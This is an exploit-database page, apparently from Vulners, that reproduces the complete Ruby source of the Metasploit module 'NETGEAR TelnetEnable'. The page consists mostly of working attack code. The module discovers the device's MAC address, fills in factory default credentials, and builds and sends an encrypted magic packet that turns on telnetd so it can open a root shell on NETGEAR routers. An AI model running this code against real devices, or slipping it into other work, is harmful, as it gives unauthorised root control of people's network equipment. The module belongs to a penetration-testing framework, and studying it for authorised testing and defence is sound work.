Lucene search
K

NETGEAR TelnetEnable

🗓️ 03 Mar 2018 01:15:17Reported by Paul Gebheim, insanid, wvu <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 27 Views

This module sends a magic packet to a NETGEAR device to enable telnetd. Upon successful connect, a root shell should be presented to the user. Detects telnetenabled on TCP and UDP and presence of telnetd

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Capture

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'NETGEAR TelnetEnable',
      'Description'        => %q{
        This module sends a magic packet to a NETGEAR device to enable telnetd.
        Upon successful connect, a root shell should be presented to the user.
      },
      'Author'             => [
        'Paul Gebheim', # Python PoC (TCP)
        'insanid',      # Python PoC (UDP)
        'wvu'           # Metasploit module
      ],
      'References'         => [
        ['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
        ['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
        ['URL', 'https://github.com/insanid/netgear-telenetenable']
      ],
      'DisclosureDate'     => '2009-10-30', # Python PoC (TCP)
      'License'            => MSF_LICENSE,
      'Platform'           => 'unix',
      'Arch'               => ARCH_CMD,
      'Privileged'         => true,
      'Payload'            => {
        'Compat'           => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find'
        }
      },
      'Targets'            => [
        ['Automatic (detect TCP or UDP)',
          proto:    :auto
        ],
        ['TCP (typically older devices)',
          proto:    :tcp,
          username: 'Gearguy',
          password: 'Geardog'
        ],
        ['UDP (typically newer devices)',
          proto:    :udp,
          username: 'admin',
          password: 'password'
        ]
      ],
      'DefaultTarget'      => 0
    ))

    register_options([
      Opt::RPORT(23),
      OptString.new('MAC',      [false, 'MAC address of device']),
      OptString.new('USERNAME', [false, 'Username on device']),
      OptString.new('PASSWORD', [false, 'Password on device'])
    ])
  end

  def post_auth?
    true
  end

  def default_credential?
    true
  end

  def check
    # Run through protocol detection
    detect_proto

    # This is a gamble, but it's the closest we can get
    if @proto == :tcp
      CheckCode::Detected
    else
      CheckCode::Unknown
    end
  end

  def exploit
    # Try to do the exploit unless telnetd is detected
    @do_exploit = true

    # Detect TCP or UDP and presence of telnetd
    @proto = target[:proto]
    detect_proto if @proto == :auto

    if @do_exploit
      # Use supplied or ARP-cached MAC address
      configure_mac
      # Use supplied or default creds
      configure_creds
      # Shell it
      exploit_telnetenabled
    end

    # Connect to the shell
    connect_telnetd
  end

  def detect_proto
    begin
      connect

      res = begin
        sock.get_once || ''
      rescue EOFError
        ''
      end

      # telnetenabled returns no data, unlike telnetd
      if res.length == 0
        print_good('Detected telnetenabled on TCP')
      else
        print_good('Detected telnetd on TCP')
        @do_exploit = false
      end

      @proto = :tcp
    # It's UDP... and we may not get an ICMP error...
    rescue Rex::ConnectionError
      print_good('Detected telnetenabled on UDP')
      @proto = :udp
    ensure
      disconnect
    end
  end

  def configure_mac
    @mac = datastore['MAC']

    return if @mac

    print_status('Attempting to discover MAC address via ARP')

    begin
      open_pcap
      @mac = lookup_eth(rhost).first
    rescue RuntimeError => e
      fail_with(Failure::BadConfig, "#{e}. Are you root?")
    ensure
      close_pcap
    end

    if @mac
      print_good("Found MAC address #{@mac}")
    else
      fail_with(Failure::Unknown, 'Could not find MAC address')
    end
  end

  def configure_creds
    @username = datastore['USERNAME'] || target[:username]
    @password = datastore['PASSWORD'] || target[:password]

    # Try to use default creds if no creds were found
    unless @username && @password
      tgt = targets.find { |t| t[:proto] == @proto }
      @username = tgt[:username]
      @password = tgt[:password]
    end

    print_good("Using creds #{@username}:#{@password}")
  end

  def exploit_telnetenabled
    print_status('Generating magic packet')
    payload = magic_packet(@mac, @username, @password)

    begin
      print_status("Connecting to telnetenabled via #{@proto.upcase}")
      @proto == :tcp ? connect : connect_udp
      print_status('Sending magic packet')
      @proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
    rescue Rex::ConnectionError
      fail_with(Failure::Disconnected, 'Something happened mid-connection!')
    ensure
      print_status('Disconnecting from telnetenabled')
      @proto == :tcp ? disconnect : disconnect_udp
    end

    # Wait a couple seconds for telnetd to come up
    print_status('Waiting for telnetd')
    sleep(2)
  end

  def connect_telnetd
    print_status('Connecting to telnetd')
    connect
    handler(sock)
  end

  # NOTE: This is almost a verbatim copy of the Python PoC
  def magic_packet(mac, username, password)
    mac = mac.gsub(/[:-]/, '').upcase

    if mac.length != 12
      fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
    end
    just_mac = mac.ljust(0x10, "\x00")

    if username.length > 0x10
      fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
    end
    just_username = username.ljust(0x10, "\x00")

    if @proto == :tcp
      if password.length > 0x10
        fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
      end
      just_password = password.ljust(0x10, "\x00")
    elsif @proto == :udp
      # Thanks to Roberto Frenna for the reserved field analysis
      if password.length > 0x21
        fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
      end
      just_password = password.ljust(0x21, "\x00")
    end

    cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
    md5_key = Rex::Text.md5_raw(cleartext)

    payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))

    secret_key = 'AMBIT_TELNET_ENABLE+' + password

    byte_swap(blowfish_encrypt(secret_key, payload))
  end

  def blowfish_encrypt(secret_key, payload)
    cipher = OpenSSL::Cipher.new('bf-ecb').encrypt

    cipher.padding = 0
    cipher.key_len = secret_key.length
    cipher.key     = secret_key

    cipher.update(payload) + cipher.final
  end

  def byte_swap(data)
    data.unpack('N*').pack('V*')
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Mar 2019 03:02Current
7.2High risk
Vulners AI Score7.2
27